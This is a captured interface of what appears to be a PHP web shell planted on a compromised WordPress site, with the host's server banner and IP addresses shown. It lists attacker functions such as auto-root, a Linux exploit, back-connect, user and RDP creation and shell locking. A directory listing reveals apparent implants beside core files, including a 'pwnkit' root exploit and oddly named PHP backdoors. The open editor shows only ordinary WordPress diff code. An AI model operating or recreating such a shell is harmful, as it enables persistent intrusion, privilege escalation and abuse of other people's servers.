Linux webd123.cluster006.gra.hosting.ovh.net 5.15.162-ovh-vps-grsec-zfs-classid #1 SMP Mon Jul 15 08:28:44 UTC 2024 x86_64
Apache
: 10.6.40.122 | : 216.73.216.131
Cant Read [ /etc/named.conf ]
5.4.45
zouerate
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
zouerate /
thehappyfactory.eu /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
.1665483752
74
B
-rw----r--
.htaccess
291
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
1index.php
15.98
KB
-r--r--r--
admin-bar.php
22.47
KB
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
ahxdspij.php
760
B
-rw-r--r--
atomlib.php
10.67
KB
-rw-r--r--
author-template.php
11.87
KB
-rw-r--r--
bookmark-template.php
9.45
KB
-rw-r--r--
bookmark.php
13.24
KB
-rw-r--r--
cache.php
17.5
KB
-rw-r--r--
canonical.php
22.49
KB
-rw-r--r--
capabilities.php
35.91
KB
-rw-r--r--
category-template.php
36.86
KB
-rw-r--r--
category.php
10.57
KB
-rw-r--r--
class-IXR.php
32.32
KB
-rw-r--r--
class-feed.php
3.52
KB
-rw-r--r--
class-http.php
57.92
KB
-rw-r--r--
class-json.php
26.06
KB
-rw-r--r--
class-oembed.php
11.78
KB
-rw-r--r--
class-phpass.php
6.83
KB
-rw-r--r--
class-phpmailer.php
79.81
KB
-rw-r--r--
class-pop3.php
20.26
KB
-rw-r--r--
class-query.php
35.11
KB
-rw----r--
class-simplepie.php
89.65
KB
-rw-r--r--
class-smtp.php
26.78
KB
-rw-r--r--
class-snoopy.php
36.89
KB
-rw-r--r--
class-wp-admin-bar.php
15.6
KB
-rw-r--r--
class-wp-ajax-response.php
3.8
KB
-rw-r--r--
class-wp-customize-control.php
19.06
KB
-rw-r--r--
class-wp-customize-manager.php
26.34
KB
-rw-r--r--
class-wp-customize-section.php
2.19
KB
-rw-r--r--
class-wp-customize-setting.php
11.13
KB
-rw-r--r--
class-wp-editor.php
32.34
KB
-rw-r--r--
class-wp-embed.php
8.62
KB
-rw-r--r--
class-wp-error.php
4.64
KB
-rw-r--r--
class-wp-http-ixr-client.php
2.6
KB
-rw-r--r--
class-wp-image-editor-gd.php
10.37
KB
-rw-r--r--
class-wp-image-editor-imagick....
11.78
KB
-rw-r--r--
class-wp-image-editor.php
8.99
KB
-rw-r--r--
class-wp-theme.php
37.32
KB
-rw-r--r--
class-wp-walker.php
12.53
KB
-rw-r--r--
class-wp-xmlrpc-server.php
159.46
KB
-rw-r--r--
class-wp.php
18.69
KB
-rw-r--r--
class.wp-dependencies.php
6.62
KB
-rw-r--r--
class.wp-scripts.php
5.47
KB
-rw-r--r--
class.wp-styles.php
4.41
KB
-rw-r--r--
comment-template.php
53.47
KB
-rw-r--r--
comment.php
68.61
KB
-rw-r--r--
compat.php
2.57
KB
-rw-r--r--
cron.php
13.71
KB
-rw-r--r--
default-constants.php
7.58
KB
-rw-r--r--
default-filters.php
13.87
KB
-rw-r--r--
default-widgets.php
44.45
KB
-rw-r--r--
deprecated.php
94.12
KB
-rw-r--r--
feed-atom-comments.php
4.21
KB
-rw-r--r--
feed-atom.php
2.48
KB
-rw-r--r--
feed-rdf.php
2.07
KB
-rw-r--r--
feed-rss.php
1.02
KB
-rw-r--r--
feed-rss2-comments.php
2.8
KB
-rw-r--r--
feed-rss2.php
2.49
KB
-rw-r--r--
feed.php
14.89
KB
-rw-r--r--
formatting.php
108.81
KB
-rw-r--r--
functions.php
116.7
KB
-rw-r--r--
functions.wp-scripts.php
6.49
KB
-rw-r--r--
functions.wp-styles.php
7.44
KB
-rw-r--r--
general-template.php
76.66
KB
-rw-r--r--
http.php
9.92
KB
-rw-r--r--
indeeex.php
2.73
KB
-rw-r--r--
indeex.php
1.7
KB
-rwxr-xr-x
index.htm
389
B
-r--r--r--
index.html
389
B
-r--r--r--
index.php
2.73
KB
-rw-r--r--
kses.php
41.69
KB
-rw-r--r--
l10n.php
17.72
KB
-rw-r--r--
link-template.php
71.9
KB
-rw-r--r--
load.php
24.37
KB
-rw-r--r--
locale.php
12.72
KB
-rw-r--r--
media-template.php
15.84
KB
-rw-r--r--
media.php
53
KB
-rw-r--r--
meta.php
26.58
KB
-rw-r--r--
ms-blogs.php
24.42
KB
-rw-r--r--
ms-default-constants.php
4.23
KB
-rw-r--r--
ms-default-filters.php
2.63
KB
-rw-r--r--
ms-deprecated.php
6.92
KB
-rw-r--r--
ms-files.php
2.49
KB
-rw-r--r--
ms-functions.php
62.07
KB
-rw-r--r--
ms-load.php
9.33
KB
-rw-r--r--
ms-settings.php
5.69
KB
-rw-r--r--
nav-menu-template.php
18
KB
-rw-r--r--
nav-menu.php
25.04
KB
-rw-r--r--
option.php
32.67
KB
-rw-r--r--
php.ini
105
B
-rw----r--
pluggable-deprecated.php
5.67
KB
-rw-r--r--
pluggable.php
60.99
KB
-rw-r--r--
plugin.php
27.99
KB
-rw-r--r--
post-template.php
42.05
KB
-rw-r--r--
post-thumbnail-template.php
3.22
KB
-rwxr-xr-x
post.php
173.25
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
query.php
93.45
KB
-rw-r--r--
radio.php
15.98
KB
-r--r--r--
radio.txt
40
B
-rw----r--
registration-functions.php
176
B
-rw-r--r--
registration.php
176
B
-rw-r--r--
rewrite.php
58.72
KB
-rw-r--r--
rss-functions.php
188
B
-rw-r--r--
rss.php
22.39
KB
-rw-r--r--
script-loader.php
40.14
KB
-rw-r--r--
shortcodes.php
9.76
KB
-rw-r--r--
smtphec.php
58.29
KB
-r--r--r--
taxonomy.php
107.04
KB
-rw-r--r--
template-loader.php
2.01
KB
-rw-r--r--
template.php
10.44
KB
-rw-r--r--
theme.php
51.68
KB
-rw-r--r--
update.php
14.27
KB
-rw-r--r--
user.php
46.57
KB
-rw-r--r--
vars.php
4.84
KB
-rw-r--r--
version.php
645
B
-rw-r--r--
widgets.php
37.94
KB
-rw-r--r--
wlwmanifest.xml
1.03
KB
-rw-r--r--
wp-db.php
46.27
KB
-rw-r--r--
wp-diff.php
12.2
KB
-rw-r--r--
wp-god.php
40.14
KB
-rw-r--r--
wp-options.php
4.11
KB
-rw----r--
wp-secure.php
1.24
KB
-rw-r--r--
wp-supports.php
4.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : wp-diff.php
<?php /** * WordPress Diff bastard child of old MediaWiki Diff Formatter. * * Basically all that remains is the table structure and some method names. * * @package WordPress * @subpackage Diff */ if ( !class_exists( 'Text_Diff' ) ) { /** Text_Diff class */ require( dirname(__FILE__).'/Text/Diff.php' ); /** Text_Diff_Renderer class */ require( dirname(__FILE__).'/Text/Diff/Renderer.php' ); /** Text_Diff_Renderer_inline class */ require( dirname(__FILE__).'/Text/Diff/Renderer/inline.php' ); } /** * Table renderer to display the diff lines. * * @since 2.6.0 * @uses Text_Diff_Renderer Extends */ class WP_Text_Diff_Renderer_Table extends Text_Diff_Renderer { /** * @see Text_Diff_Renderer::_leading_context_lines * @var int * @access protected * @since 2.6.0 */ var $_leading_context_lines = 10000; /** * @see Text_Diff_Renderer::_trailing_context_lines * @var int * @access protected * @since 2.6.0 */ var $_trailing_context_lines = 10000; /** * {@internal Missing Description}} * * @var float * @access protected * @since 2.6.0 */ var $_diff_threshold = 0.6; /** * Inline display helper object name. * * @var string * @access protected * @since 2.6.0 */ var $inline_diff_renderer = 'WP_Text_Diff_Renderer_inline'; /** * Constructor - Call parent constructor with params array. * * This will set class properties based on the key value pairs in the array. * * @since 2.6.0 * * @param array $params */ function __construct( $params = array() ) { parent::__construct( $params ); } /** * @ignore * * @param string $header * @return string */ function _startBlock( $header ) { return ''; } /** * @ignore * * @param array $lines * @param string $prefix */ function _lines( $lines, $prefix=' ' ) { } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ function addedLine( $line ) { return "<td>+</td><td class='diff-addedline'>{$line}</td>"; } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ function deletedLine( $line ) { return "<td>-</td><td class='diff-deletedline'>{$line}</td>"; } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ function contextLine( $line ) { return "<td> </td><td class='diff-context'>{$line}</td>"; } /** * @ignore * * @return string */ function emptyLine() { return '<td colspan="2"> </td>'; } /** * @ignore * @access private * * @param array $lines * @param bool $encode * @return string */ function _added( $lines, $encode = true ) { $r = ''; foreach ($lines as $line) { if ( $encode ) $line = htmlspecialchars( $line ); $r .= '<tr>' . $this->emptyLine() . $this->addedLine( $line ) . "</tr>\n"; } return $r; } /** * @ignore * @access private * * @param array $lines * @param bool $encode * @return string */ function _deleted( $lines, $encode = true ) { $r = ''; foreach ($lines as $line) { if ( $encode ) $line = htmlspecialchars( $line ); $r .= '<tr>' . $this->deletedLine( $line ) . $this->emptyLine() . "</tr>\n"; } return $r; } /** * @ignore * @access private * * @param array $lines * @param bool $encode * @return string */ function _context( $lines, $encode = true ) { $r = ''; foreach ($lines as $line) { if ( $encode ) $line = htmlspecialchars( $line ); $r .= '<tr>' . $this->contextLine( $line ) . $this->contextLine( $line ) . "</tr>\n"; } return $r; } /** * Process changed lines to do word-by-word diffs for extra highlighting. * * (TRAC style) sometimes these lines can actually be deleted or added rows. * We do additional processing to figure that out * * @access private * @since 2.6.0 * * @param array $orig * @param array $final * @return string */ function _changed( $orig, $final ) { $r = ''; // Does the aforementioned additional processing // *_matches tell what rows are "the same" in orig and final. Those pairs will be diffed to get word changes // match is numeric: an index in other column // match is 'X': no match. It is a new row // *_rows are column vectors for the orig column and the final column. // row >= 0: an indix of the $orig or $final array // row < 0: a blank row for that column list($orig_matches, $final_matches, $orig_rows, $final_rows) = $this->interleave_changed_lines( $orig, $final ); // These will hold the word changes as determined by an inline diff $orig_diffs = array(); $final_diffs = array(); // Compute word diffs for each matched pair using the inline diff foreach ( $orig_matches as $o => $f ) { if ( is_numeric($o) && is_numeric($f) ) { $text_diff = new Text_Diff( 'auto', array( array($orig[$o]), array($final[$f]) ) ); $renderer = new $this->inline_diff_renderer; $diff = $renderer->render( $text_diff ); // If they're too different, don't include any <ins> or <dels> if ( $diff_count = preg_match_all( '!(<ins>.*?</ins>|<del>.*?</del>)!', $diff, $diff_matches ) ) { // length of all text between <ins> or <del> $stripped_matches = strlen(strip_tags( join(' ', $diff_matches[0]) )); // since we count lengith of text between <ins> or <del> (instead of picking just one), // we double the length of chars not in those tags. $stripped_diff = strlen(strip_tags( $diff )) * 2 - $stripped_matches; $diff_ratio = $stripped_matches / $stripped_diff; if ( $diff_ratio > $this->_diff_threshold ) continue; // Too different. Don't save diffs. } // Un-inline the diffs by removing del or ins $orig_diffs[$o] = preg_replace( '|<ins>.*?</ins>|', '', $diff ); $final_diffs[$f] = preg_replace( '|<del>.*?</del>|', '', $diff ); } } foreach ( array_keys($orig_rows) as $row ) { // Both columns have blanks. Ignore them. if ( $orig_rows[$row] < 0 && $final_rows[$row] < 0 ) continue; // If we have a word based diff, use it. Otherwise, use the normal line. if ( isset( $orig_diffs[$orig_rows[$row]] ) ) $orig_line = $orig_diffs[$orig_rows[$row]]; elseif ( isset( $orig[$orig_rows[$row]] ) ) $orig_line = htmlspecialchars($orig[$orig_rows[$row]]); else $orig_line = ''; if ( isset( $final_diffs[$final_rows[$row]] ) ) $final_line = $final_diffs[$final_rows[$row]]; elseif ( isset( $final[$final_rows[$row]] ) ) $final_line = htmlspecialchars($final[$final_rows[$row]]); else $final_line = ''; if ( $orig_rows[$row] < 0 ) { // Orig is blank. This is really an added row. $r .= $this->_added( array($final_line), false ); } elseif ( $final_rows[$row] < 0 ) { // Final is blank. This is really a deleted row. $r .= $this->_deleted( array($orig_line), false ); } else { // A true changed row. $r .= '<tr>' . $this->deletedLine( $orig_line ) . $this->addedLine( $final_line ) . "</tr>\n"; } } return $r; } /** * Takes changed blocks and matches which rows in orig turned into which rows in final. * * Returns * *_matches ( which rows match with which ) * *_rows ( order of rows in each column interleaved with blank rows as * necessary ) * * @since 2.6.0 * * @param unknown_type $orig * @param unknown_type $final * @return unknown */ function interleave_changed_lines( $orig, $final ) { // Contains all pairwise string comparisons. Keys are such that this need only be a one dimensional array. $matches = array(); foreach ( array_keys($orig) as $o ) { foreach ( array_keys($final) as $f ) { $matches["$o,$f"] = $this->compute_string_distance( $orig[$o], $final[$f] ); } } asort($matches); // Order by string distance. $orig_matches = array(); $final_matches = array(); foreach ( $matches as $keys => $difference ) { list($o, $f) = explode(',', $keys); $o = (int) $o; $f = (int) $f; // Already have better matches for these guys if ( isset($orig_matches[$o]) && isset($final_matches[$f]) ) continue; // First match for these guys. Must be best match if ( !isset($orig_matches[$o]) && !isset($final_matches[$f]) ) { $orig_matches[$o] = $f; $final_matches[$f] = $o; continue; } // Best match of this final is already taken? Must mean this final is a new row. if ( isset($orig_matches[$o]) ) $final_matches[$f] = 'x'; // Best match of this orig is already taken? Must mean this orig is a deleted row. elseif ( isset($final_matches[$f]) ) $orig_matches[$o] = 'x'; } // We read the text in this order ksort($orig_matches); ksort($final_matches); // Stores rows and blanks for each column. $orig_rows = $orig_rows_copy = array_keys($orig_matches); $final_rows = array_keys($final_matches); // Interleaves rows with blanks to keep matches aligned. // We may end up with some extraneous blank rows, but we'll just ignore them later. foreach ( $orig_rows_copy as $orig_row ) { $final_pos = array_search($orig_matches[$orig_row], $final_rows, true); $orig_pos = (int) array_search($orig_row, $orig_rows, true); if ( false === $final_pos ) { // This orig is paired with a blank final. array_splice( $final_rows, $orig_pos, 0, -1 ); } elseif ( $final_pos < $orig_pos ) { // This orig's match is up a ways. Pad final with blank rows. $diff_pos = $final_pos - $orig_pos; while ( $diff_pos < 0 ) array_splice( $final_rows, $orig_pos, 0, $diff_pos++ ); } elseif ( $final_pos > $orig_pos ) { // This orig's match is down a ways. Pad orig with blank rows. $diff_pos = $orig_pos - $final_pos; while ( $diff_pos < 0 ) array_splice( $orig_rows, $orig_pos, 0, $diff_pos++ ); } } // Pad the ends with blank rows if the columns aren't the same length $diff_count = count($orig_rows) - count($final_rows); if ( $diff_count < 0 ) { while ( $diff_count < 0 ) array_push($orig_rows, $diff_count++); } elseif ( $diff_count > 0 ) { $diff_count = -1 * $diff_count; while ( $diff_count < 0 ) array_push($final_rows, $diff_count++); } return array($orig_matches, $final_matches, $orig_rows, $final_rows); /* // Debug echo "\n\n\n\n\n"; echo "-- DEBUG Matches: Orig -> Final --"; foreach ( $orig_matches as $o => $f ) { echo "\n\n\n\n\n"; echo "ORIG: $o, FINAL: $f\n"; var_dump($orig[$o],$final[$f]); } echo "\n\n\n\n\n"; echo "-- DEBUG Matches: Final -> Orig --"; foreach ( $final_matches as $f => $o ) { echo "\n\n\n\n\n"; echo "FINAL: $f, ORIG: $o\n"; var_dump($final[$f],$orig[$o]); } echo "\n\n\n\n\n"; echo "-- DEBUG Rows: Orig -- Final --"; echo "\n\n\n\n\n"; foreach ( $orig_rows as $row => $o ) { if ( $o < 0 ) $o = 'X'; $f = $final_rows[$row]; if ( $f < 0 ) $f = 'X'; echo "$o -- $f\n"; } echo "\n\n\n\n\n"; echo "-- END DEBUG --"; echo "\n\n\n\n\n"; return array($orig_matches, $final_matches, $orig_rows, $final_rows); */ } /** * Computes a number that is intended to reflect the "distance" between two strings. * * @since 2.6.0 * * @param string $string1 * @param string $string2 * @return int */ function compute_string_distance( $string1, $string2 ) { // Vectors containing character frequency for all chars in each string $chars1 = count_chars($string1); $chars2 = count_chars($string2); // L1-norm of difference vector. $difference = array_sum( array_map( array($this, 'difference'), $chars1, $chars2 ) ); // $string1 has zero length? Odd. Give huge penalty by not dividing. if ( !$string1 ) return $difference; // Return distance per charcter (of string1) return $difference / strlen($string1); } /** * @ignore * @since 2.6.0 * * @param int $a * @param int $b * @return int */ function difference( $a, $b ) { return abs( $a - $b ); } } /** * Better word splitting than the PEAR package provides. * * @since 2.6.0 * @uses Text_Diff_Renderer_inline Extends */ class WP_Text_Diff_Renderer_inline extends Text_Diff_Renderer_inline { /** * @ignore * @since 2.6.0 * * @param string $string * @param string $newlineEscape * @return string */ function _splitOnWords($string, $newlineEscape = "\n") { $string = str_replace("\0", '', $string); $words = preg_split( '/([^\w])/u', $string, -1, PREG_SPLIT_DELIM_CAPTURE ); $words = str_replace( "\n", $newlineEscape, $words ); return $words; } }
Close